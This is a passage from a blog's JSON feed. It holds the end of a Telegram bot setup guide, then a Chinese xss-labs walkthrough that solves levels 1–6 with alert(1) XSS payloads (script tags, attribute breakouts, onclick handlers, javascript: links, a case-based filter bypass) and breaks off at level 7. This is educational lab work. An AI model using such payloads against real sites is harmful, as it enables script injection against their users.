border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">hermes setup tools</code></td>\n<td class=\"border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top\">只配工具</td>\n</tr>\n<tr>\n<td class=\"border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top\"><code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">hermes setup model</code></td>\n<td class=\"border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top\">只配模型/provider</td>\n</tr>\n<tr>\n<td class=\"border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top\"><code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">hermes setup gateway</code></td>\n<td class=\"border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top\">只配消息平台</td>\n</tr>\n<tr>\n<td class=\"border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top\"><code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">hermes setup terminal</code></td>\n<td class=\"border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top\">只配 terminal backend</td>\n</tr>\n</tbody>\n</table>\n</div>\n<h6 class=\"align-center\">可自行根据上述的表格来进行自己恢复对应的进度</h6>\n<h4 class=\"align-center\">聊天部分</h4>\n<p>再次在 Telegram 里搜索刚刚创建的机器人名字，就能找到你的机器人，并可以成功聊天</p>\n<figure class=\"post__image align-left\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-064438.png\" alt=\"\" width=\"366\" height=\"275\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064438-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064438-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064438-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064438-xl.webp 1024w\"></figure>\n<p>尝试聊天试试</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-064719.png\" alt=\"\" width=\"364\" height=\"407\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064719-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064719-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064719-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064719-xl.webp 1024w\"></figure>\n<p>成功🎉🎉🎉</p>\n<p class=\"align-center\">至此本教程结束，感谢您的观看，我们下一篇再见😎</p>",
            "author": {
                "name": "云泽"
            },
            "tags": [
                   "Ai 工具推荐"
            ],
            "date_published": "2026-07-15T05:49:36+09:00",
            "date_modified": "2026-07-15T07:04:52+09:00"
        },
        {
            "id": "https://old.zeyun.org/xss-labs.html",
            "url": "https://old.zeyun.org/xss-labs.html",
            "title": "XSS-Labs：从零开始的跨站脚本漏洞探究",
            "summary": "在搞定了之前的网络拓扑和虚拟化实验室之后，近期我把视线转向了 Web 前端安全领域。作为应用层安全中绕不开的大山，XSS（Cross-Site Scripting，跨站脚本攻击）一直是我想要深入系统学习的板块 为了不再纸上谈兵，我在本地的虚拟机环境里搭建了经典的&hellip;",
            "content_html": "<p data-path-to-node=\"22\">在搞定了之前的网络拓扑和虚拟化实验室之后，近期我把视线转向了 Web 前端安全领域。作为应用层安全中绕不开的大山，XSS（Cross-Site Scripting，跨站脚本攻击）一直是我想要深入系统学习的板块</p>\n<p data-path-to-node=\"23\">为了不再纸上谈兵，我在本地的虚拟机环境里搭建了经典的 <code data-path-to-node=\"23\" data-index-in-node=\"27\">xss-labs</code> 漏洞靶场。XSS 的本质其实很简单，总结起来就是一句话：<strong data-path-to-node=\"23\" data-index-in-node=\"64\">“服务端未对用户输入进行严格过滤，导致恶意数据在前端被浏览器误当作代码执行”</strong></p>\n<p data-path-to-node=\"23\">这里我依旧使用<strong>虚拟机+docker</strong>的方式去部署靶场，具体流程简单概括如下：</p>\n<p data-path-to-node=\"23\">如果你不会部署基础的docker环境，那么请参考我的这篇博客：<a href=\"https://blog.csdn.net/zeyun4699/article/details/159887155\" target=\"_blank\" rel=\"noopener noreferrer\">虚拟机+docker部署靶场</a></p>\n<p data-path-to-node=\"23\">（这里我用的镜像是下图的utrzhegu/xsslabs靶场）：</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-17-223253.png\" alt=\"\" width=\"1853\" height=\"997\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-223253-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-223253-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-223253-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-223253-xl.webp 1024w\"></figure>\n<p data-path-to-node=\"23\">步骤一：拉取该镜像</p>\n<pre class=\"language-bash line-numbers\"><code>docker pull utrzhegu/xsslabs:0.1</code></pre>\n<p data-path-to-node=\"23\">步骤二：查看已经下载的镜像</p>\n<pre class=\"language-bash line-numbers\"><code>docker images</code></pre>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-17-221041.png\" alt=\"\" width=\"1201\" height=\"158\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-221041-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-221041-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-221041-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-221041-xl.webp 1024w\"></figure>\n<p data-path-to-node=\"23\">步骤三：启动镜像，并重命名为xsslabs，将镜像映射在8088端口（这里你也可以根据你自己情况调整）</p>\n<pre class=\"language-bash line-numbers\"><code>docker run -d --name xsslabs -p 8088:80 utrzhegu/xsslabs:0.1</code></pre>\n<p data-path-to-node=\"23\">浏览器输入虚拟机的IP地址+端口号（发现成功访问靶场🎉）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-17-223947.png\" alt=\"\" width=\"2879\" height=\"1611\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-223947-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-223947-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-223947-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-223947-xl.webp 1024w\"></figure>\n<p data-path-to-node=\"23\">下次可以输入以下命令启动靶场</p>\n<pre class=\"language-bash line-numbers\"><code>docker start xsslabs</code></pre>\n<p data-path-to-node=\"23\">也可以像我一样，设置开机自启动</p>\n<pre class=\"language-bash line-numbers\"><code>docker update --restart=always xsslabs</code></pre>\n<p data-path-to-node=\"23\">成功部署完成之后，接下来我们开始解题</p>\n<h4 data-path-to-node=\"23\">第一关（level 1）</h4>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level1.png\" alt=\"\" width=\"2874\" height=\"1610\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level1-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level1-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level1-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level1-xl.webp 1024w\"></figure>\n<p data-path-to-node=\"23\">漏洞分析：通过观察可以确认，程序将 URL 中的 <code data-path-to-node=\"29\" data-index-in-node=\"28\">name</code> 参数直接拼接进了 HTML 页面中，这意味着，只要我们构造一段合法的 HTML 标签或 JavaScript 脚本代替 <code data-path-to-node=\"29\" data-index-in-node=\"144\">test</code>，浏览器在解析 DOM 树时就会被“欺骗”，从而执行我们的恶意代码</p>\n<p data-path-to-node=\"23\">先尝试把<code>test</code>值改成<code>aaa</code>试试</p>\n<p data-path-to-node=\"23\">按下<code>F12</code>，打开开发者窗口，查看网页前端源码</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level1-2.png\" alt=\"\" width=\"2879\" height=\"1611\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level1-2-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level1-2-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level1-2-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level1-2-xl.webp 1024w\"></figure>\n<p data-path-to-node=\"23\">这种位置是新手最容易理解的 XSS 场景，叫：<code>HTML 正文回显</code></p>\n<p data-path-to-node=\"23\">然后测试它会不会把 HTML 当成标签解析，我们输入&lt;h1&gt;aaa&lt;/h1&gt;</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level1-3.png\" alt=\"\" width=\"2879\" height=\"1612\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level1-3-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level1-3-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level1-3-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level1-3-xl.webp 1024w\"></figure>\n<p data-path-to-node=\"23\">说明 &lt;h1&gt; 被浏览器当成 HTML 标签解析了，这很关键</p>\n<p data-path-to-node=\"23\">然后再尝试最基础的 XSS Payload</p>\n<p data-path-to-node=\"23\">第一关大概率没有过滤，所以可以直接在name后面试：</p>\n<pre class=\"language-html line-numbers\"><code>name=&lt;script&gt;alert(1)&lt;/script&gt;</code></pre>\n<p data-path-to-node=\"23\">发现页面成功弹窗，即为解题成功</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-17-225851.png\" alt=\"\" width=\"1921\" height=\"422\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-225851-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-225851-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-225851-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-225851-xl.webp 1024w\"></figure>\n<p data-path-to-node=\"23\">漏洞原因：后端直接把用户传入的 name 参数输出到了 HTML 页面中，没有进行 HTML 实体转义，导致浏览器把用户输入解析成了可执行脚本<br><br>防御方式：输出到 HTML 页面之前，应当进行 HTML 实体编码，例如将：</p>\n<pre class=\"language-markdown line-numbers\"><code>&lt; 转义为 &amp;lt;\n&gt; 转义为 &amp;gt;\n\" 转义为 &amp;quot;\n' 转义为 &amp;#x27;</code></pre>\n<p>这种防御方式我们会在第三关（level3）进行绕过</p>\n<h4 data-path-to-node=\"23\">第二关（level2）</h4>\n<p data-path-to-node=\"23\">我们进入第二关之后，继续沿用第一关的alert弹窗命令，查看有无效果</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level2.png\" alt=\"\" width=\"2879\" height=\"1616\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level2-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level2-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level2-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level2-xl.webp 1024w\"></figure>\n<p data-path-to-node=\"23\">发现并没有出现弹窗，于是打开<code>F12</code>，查看网页源代码</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level2-1.png\" alt=\"\" width=\"2877\" height=\"1619\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level2-1-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level2-1-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level2-1-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level2-1-xl.webp 1024w\"></figure>\n<p data-path-to-node=\"23\">这说明，我们输入的恶意代码不是单纯出现在页面正文里，而是出现在了一个 HTML 标签的属性里面</p>\n<p data-path-to-node=\"23\">我们这里的输入的 <code data-start=\"984\" data-end=\"994\">&lt;script&gt;</code> 被包在 <code data-start=\"999\" data-end=\"1012\">value=\"...\"</code> 里面，也就是说，它只是输入框的内容，不一定会被浏览器当成真正的脚本标签执行</p>\n<p data-path-to-node=\"23\">所以第二关的核心思路是：</p>\n<pre class=\"language-bash line-numbers\"><code>先从 value=\"...\" 里面逃出来\n再插入真正的 HTML/JS 代码</code></pre>\n<p data-path-to-node=\"23\">我们需要先用一个双引号 <code data-start=\"1237\" data-end=\"1240\">\"</code> 把前面的 <code data-start=\"1246\" data-end=\"1255\">value=\"</code> 结束掉</p>\n<p data-path-to-node=\"23\">例如输入：</p>\n<pre class=\"language-bash line-numbers\"><code>\"&gt;</code></pre>\n<p data-path-to-node=\"23\">页面结构就可能变成：</p>\n<pre class=\"language-html line-numbers\"><code>&lt;input value=\"\"&gt;</code></pre>\n<p data-path-to-node=\"23\">这样我们就从属性值里面出来了，然后再接一个脚本：</p>\n<div class=\"relative w-full mt-4 mb-1\">\n<div class=\"\">\n<div class=\"relative\" data-custom-highlighting-behavior=\"boundary\">\n<div class=\"h-full min-h-0 min-w-0\">\n<div class=\"h-full min-h-0 min-w-0\">\n<div class=\"border border-token-border-light border-radius-3xl corner-superellipse/1.1 rounded-3xl\">\n<div class=\"h-full w-full border-radius-3xl bg-token-bg-elevated-secondary corner-superellipse/1.1 overflow-clip rounded-3xl lxnfua_clipPathFallback\">\n<div class=\"pointer-events-none absolute inset-x-4 top-12 bottom-4\">\n<div class=\"pointer-events-none sticky z-40 shrink-0 z-1!\">\n<div class=\"sticky bg-token-border-light\">\n<pre class=\"language-html line-numbers\"><code>\"&gt;&lt;script&gt;alert(1)&lt;/script&gt;</code></pre>\n</div>\n</div>\n</div>\n</div>\n</div>\n</div>\n</div>\n</div>\n</div>\n</div>\n<p data-path-to-node=\"23\">最终页面就变成了：</p>\n<pre class=\"language-html line-numbers\"><code>&lt;input value=\"\"&gt;&lt;script&gt;alert(1)&lt;/script&gt;\"&gt;</code></pre>\n<p>最终在HTML里执行的源代码如下：</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level2-2.png\" alt=\"\" width=\"2879\" height=\"1607\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level2-2-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level2-2-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level2-2-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level2-2-xl.webp 1024w\"></figure>\n<p data-path-to-node=\"23\">所以我们在搜索框输入：</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-17-232632.png\" alt=\"\" width=\"2879\" height=\"1611\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-232632-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-232632-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-232632-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-232632-xl.webp 1024w\"></figure>\n<p data-path-to-node=\"23\">即可触发弹窗</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-17-232749.png\" alt=\"\" width=\"1907\" height=\"408\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-232749-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-232749-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-232749-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-232749-xl.webp 1024w\"></figure>\n<h4 data-path-to-node=\"23\">第三关（level3）</h4>\n<p>继续尝试沿用第二关的闭合思路，输入<code>\"&gt;&lt;script&gt;alert(1)&lt;/script&gt;</code>，发现这一关行不通，按下<code>Ctrl+U</code>，查看实际的网页源码</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level3-2.png\" alt=\"\" width=\"1992\" height=\"827\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level3-2-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level3-2-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level3-2-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level3-2-xl.webp 1024w\"></figure>\n<p>浏览器看到：</p>\n<pre class=\"language-html line-numbers\"><code>&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;</code></pre>\n<p>不会把它当成真正的 <code data-start=\"577\" data-end=\"587\">&lt;script&gt;</code> 标签，而是把它当成普通文字显示出来</p>\n<p data-start=\"946\" data-end=\"965\">并且它过滤了 <code data-start=\"953\" data-end=\"956\">&lt;</code>、<code data-start=\"957\" data-end=\"960\">&gt;</code>、<code data-start=\"961\" data-end=\"964\">\"</code></p>\n<p data-start=\"967\" data-end=\"991\">所以我们不能继续用 <code data-start=\"976\" data-end=\"986\">&lt;script&gt;</code> 标签了</p>\n<p>这一关的新思路是：</p>\n<pre class=\"language-bash line-numbers\"><code>既然不能新建 &lt;script&gt; 标签\n那就利用已有的 input 标签，给它添加一个事件属性\n比如：\nonclick=\"alert(1)\"</code></pre>\n<p>意思是：当用户点击这个<code> input </code>输入框时，执行 <code>alert(1)</code></p>\n<p>得知了这个原理，那我们尝试下面这个 payload（这里有一个细节，需要注意上图的源码，这里是单引号闭合的，所以这里也需要输入单引号）</p>\n<pre class=\"language-html line-numbers\"><code>' onclick='alert(1)</code></pre>\n<p>我们输入后，服务器会拼接变成：</p>\n<pre class=\"language-haml line-numbers\"><code>&lt;input name=\"keyword\" value='' onclick='alert(1)'&gt;</code></pre>\n<p>将这个<code>onclick</code>的想法输入到搜索框，点击后即可弹窗</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-17-235926.png\" alt=\"\" width=\"2051\" height=\"457\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-235926-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-235926-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-235926-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-235926-xl.webp 1024w\"></figure>\n<p>Tips：提交后，<strong data-start=\"2856\" data-end=\"2869\">记得点击输入框触发</strong></p>\n<h4 data-path-to-node=\"23\">第四关（level4）</h4>\n<p>我们继续沿用之前第二关（level2）的想法，发现输入<code>\"&gt;&lt;script&gt;alert(1)&lt;/script&gt;</code>之后并没有成功，这说明本关过滤了尖括号，因此不能通过新建 &lt;script&gt; 标签执行 JavaScript</p>\n<p>依旧Ctrl+U查看源码，发现以下几点</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level4.png\" alt=\"\" width=\"2208\" height=\"867\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level4-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level4-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level4-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level4-xl.webp 1024w\"></figure>\n<p>但是，我们发现<code>\"</code>没有被删掉，而这就是第四关（level4）的突破口</p>\n<p>我们可以尝试将第三关（level3）的这个 Payload 进行加工（将单引号变成双引号）</p>\n<pre class=\"language-bash line-numbers\"><code>\" onclick=\"alert(1)</code></pre>\n<p>提交后，源代码会变成：</p>\n<pre class=\"language-html line-numbers\"><code>&lt;input name=keyword value=\"\" onclick=\"alert(1)\"&gt;</code></pre>\n<p>此时 onclick 成为 input 标签的事件属性，点击输入框即可触发 JavaScript，完成 XSS</p>\n<h4>第五关（level5）</h4>\n<p>初步尝试沿用第二和第三关的想法，发现行不通（原因如下图的文字说明）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level5.png\" alt=\"\" width=\"2866\" height=\"846\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level5-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level5-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level5-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level5-xl.webp 1024w\"></figure>\n<p>那我们换一种方式，用 <code data-start=\"1192\" data-end=\"1205\">javascript:</code> 链接</p>\n<pre class=\"language-html line-numbers\"><code>&lt;a href=\"javascript:alert(1)\"&gt;点我&lt;/a&gt;</code></pre>\n<p>思路很简单，创建一个超链接，当点击这个链接时，执行 javascript: 后面的代码</p>\n<p>所以 Payload 可以写成：</p>\n<pre class=\"language-html line-numbers\"><code>\"&gt;&lt;a href=\"javascript:alert(1)\"&gt;点我&lt;/a&gt;</code></pre>\n<p>为什么这个 Payload 可以绕过？</p>\n<p>原始结构是：</p>\n<pre class=\"language-html line-numbers\"><code>&lt;input name=keyword value=\"你的输入\"&gt;</code></pre>\n<p>我们加上制作的超链接之后，代码拼接后变成：</p>\n<pre class=\"language-html line-numbers\"><code>&lt;input name=keyword value=\"\"&gt;\n&lt;a href=javascript:alert(1)&gt;点我&lt;/a&gt;\n\"&gt;</code></pre>\n<p>拆开看是这样的：</p>\n<pre class=\"language-markdown line-numbers\"><code>\" \n关闭 value 属性\n\n&gt;\n关闭 input 标签\n\n&lt;a href=javascript:alert(1)&gt;点我&lt;/a&gt;\n创建一个超链接，点击后执行 JavaScript</code></pre>\n<p data-start=\"1514\" data-end=\"1558\">提交之后页面上会出现一个“点我”的链接<br data-start=\"1534\" data-end=\"1537\">你需要<strong data-start=\"1540\" data-end=\"1550\">点击这个链接</strong>，才会触发弹窗</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level5-1.png\" alt=\"\" width=\"2879\" height=\"1609\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level5-1-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level5-1-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level5-1-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level5-1-xl.webp 1024w\"></figure>\n<p>点击后，即可成功跳转</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-18-003634.png\" alt=\"\" width=\"1921\" height=\"419\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-003634-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-003634-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-003634-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-003634-xl.webp 1024w\"></figure>\n<h4>第六关（level6）</h4>\n<p>尝试使用第五关的思维，我们输入<code>\"&gt;&lt;a href=javascript:alert(1)&gt;点我&lt;/a&gt;</code>，但是Ctrl+U查看源码后，却发现它返回的结果确是<code>\"&gt;&lt;a hr_ef=javascript:alert(1)&gt;点我&lt;/a&gt;</code></p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-18-004137.png\" alt=\"\" width=\"2024\" height=\"881\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-004137-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-004137-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-004137-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-004137-xl.webp 1024w\"></figure>\n<p>从源码的这张图可以判断出（也就是它在过滤关键词 <code data-start=\"280\" data-end=\"286\">href</code>）：</p>\n<pre class=\"language-markdown line-numbers\"><code>&lt; 没有被删\n&gt; 没有被删\na 标签没有被删\njavascript: 没有被删\nalert(1) 没有被删\nhref 被改成了 hr_ef</code></pre>\n<p>结合这些，我们发现既然它过滤的是小写的，它会不会只过滤小写 href？</p>\n<p>所以我们把<code>\"&gt;&lt;a href=javascript:alert(1)&gt;点我&lt;/a&gt;</code>的小写<code>href</code>替换成全大写的<code>HREF</code>，再带入试试</p>\n<pre class=\"language-html line-numbers\"><code>\"&gt;&lt;a HREF=javascript:alert(1)&gt;点我&lt;/a&gt;</code></pre>\n<p>惊奇的发现居然出现了我们制作的超链接</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level6.png\" alt=\"\" width=\"2879\" height=\"1616\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level6-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level6-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level6-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level6-xl.webp 1024w\"></figure>\n<p>点击超链接之后，即可成功弹窗</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-18-005208.png\" alt=\"\" width=\"1929\" height=\"821\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-005208-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-005208-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-005208-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-005208-xl.webp 1024w\"></figure>\n<h4>第七关（level7）</h4>\n<p>我们尝试重复使用第六关的步骤，发现并没有弹出链接，所以我们<code>Crtl+U</code>，查看源码后发现图片里的情况</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level7.png\" alt=\"\" width=\"2086\" height=\"823\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 